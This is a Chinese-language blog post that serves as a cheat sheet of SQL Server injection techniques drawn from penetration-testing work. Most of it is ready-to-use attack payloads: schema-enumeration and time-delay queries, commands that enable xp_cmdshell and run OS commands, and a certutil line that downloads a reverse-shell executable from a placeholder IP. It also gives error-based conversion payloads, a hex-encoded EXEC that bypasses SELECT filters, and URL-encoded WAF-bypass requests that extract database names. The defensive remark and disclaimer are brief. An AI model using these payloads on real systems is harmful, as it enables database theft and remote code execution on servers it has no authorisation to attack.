美文网首页
SQL Server 注入小结

SQL Server 注入小结

作者: 蚁景科技 | 来源:发表于2018-09-06 14:58 被阅读173次

    本文为原创文章,转载请注明出处!


    在实习的渗透测试项目中,遇到的数据库系统绝大部分是SQL Server。也算是了解和熟悉Mssql 的一个重要过程吧。

    0x01基础

    1、常用查询

    查询所有的数据库名

    SELECTname FROM  master..sysdatabases WHERE name NOT IN ( 'master','model', 'msdb', 'tempdb', 'northwind','pubs' );

    获取某数据库的所有表(假设库名为fooDB)

    --XType='U':表示所有用户表;

    --XType='S':表示所有系统表;

    SELECTname FROM fooDB..sysobjects Where xtype='U';

    获取某表所有字段名(假设表名为fooTable)

    SELECTname FROM SysColumns WHERE id=Object_id('fooTable');

    延时注入

    SELECT* FROM fooTable WHERE id=1 WAITFOR DELAY '0:0:3';

    2、常用内置函数

    db_name()-- 当前库名

    user-- 当前用户名

    suser_name()-- 登陆用户名

    3、like查询大小写敏感模式

    SELECT* FROM dt WHERE columnname COLLATE Chinese_PRC_CS_AS LIKE 'aa%';

    举例分析Chinese_PRC_CS_AI_WS:

    前半部份:指 UNICODE字符集,Chinese_PRC_指针对大陆简体字UNICODE 的排序规则。

    _BIN 二进制排序

    _CI(CS) 是否区分大小写,CI不区分,CS区分

    _AI(AS) 是否区分重音,AI不区分,AS区分

    _KI(KS) 是否区分假名类型,KI不区分,KS区分

    _WI(WS) 是否区分宽度,WI不区分,WS区分

    4、实现limitm,n

    查询结果中第7 条到第 9条记录,如 MySql中的 limit 7,3

    selecttop 3 id from tablename

    whereid not in (

    selecttop 6 id from tablename

    )

    0x02关于xp_cmdshell

    开启xp_cmdshell存储过程

    EXECsp_configure 'show advanced options', 1;

    RECONFIGURE;

    EXECsp_configure 'xp_cmdshell', 1;

    RECONFIGURE;

    关闭只需将开启语句的第二个1改成0再执行即可

    运行命令

    execmaster..xp_cmdshell "whoami";

    execmaster..xp_cmdshell "ping 127.0.0.1 -n 5 > nul";

    execmaster..xp_cmdshell "certutil -urlcache -split -fhttp://IP/re_shell.exe D:\re_shell.exe";

    彻底防御xp_cmdshell方法:修复sql注入漏洞、删除xplog70.dll 组件

    0x03利用数据类型转换报错注入

    and可用:?key=aa'+and+db_name()>1

    and不可用:?key='%2buser()^1

    convert转换类型:?key=a'%2b(convert(int,@@version))

    0x04Tricks

    1、set绕过select过滤

    ; dEcLaRe @s vArChAr(8000) sEt

    @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29eXeC(@s)-- -

    2、有趣的绕过例子

    输入单引号时会报错

    尝试%23和--+-的注释来判断后端数据库系统类型。语句出错的时候返回200并报错。正确的时候是302。可知为mssql。

    服务端对数据进行了拦截和过滤,拒绝处理请求。然而可利用varchar^int 来爆出数据。

    ?appSysCode='%2buser%5e1--+-

    拦截有点厉害。尝试了许多select方式都不行。

    ?appSysCode=a'%2b(select+'aaa')--+-

    ?appSysCode=a'%2b(select+1)%5e1--+-

    ?appSysCode=a'%2b(convert(int,(select+'bbb')))%5e1--+-(这里只有a报错)

    ?appSysCode=a'%2b(convert(varchar,(select+'bbb')))%5e1--+-(这里直接302)

    ?appSysCode=a'%2b(convert(int,(select+'bbb')))--+-

    ?appSysCode=a'%3bSELECT+11--+-

    ?appSysCode=a'%3bexec+xxxxx--+-

    不过还是存在规则缺陷的。

    ?appSysCode=a'%3bselect+*+from+(select+'aaa'+as+c)+t2+where+c%5e1=0--+-

    可爆出任意数据

    ?appSysCode=a'%3bSELECT+name+FROM+master..sysdatabases+where+name%5e1%3e0+and+name+NOT+IN+('master','model','msdb','tempdb','northwind','pubs')--+-


    文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

    相关文章

      网友评论

          本文标题:SQL Server 注入小结

          本文链接:https://www.haomeiwen.com/subject/ebjxgftx.html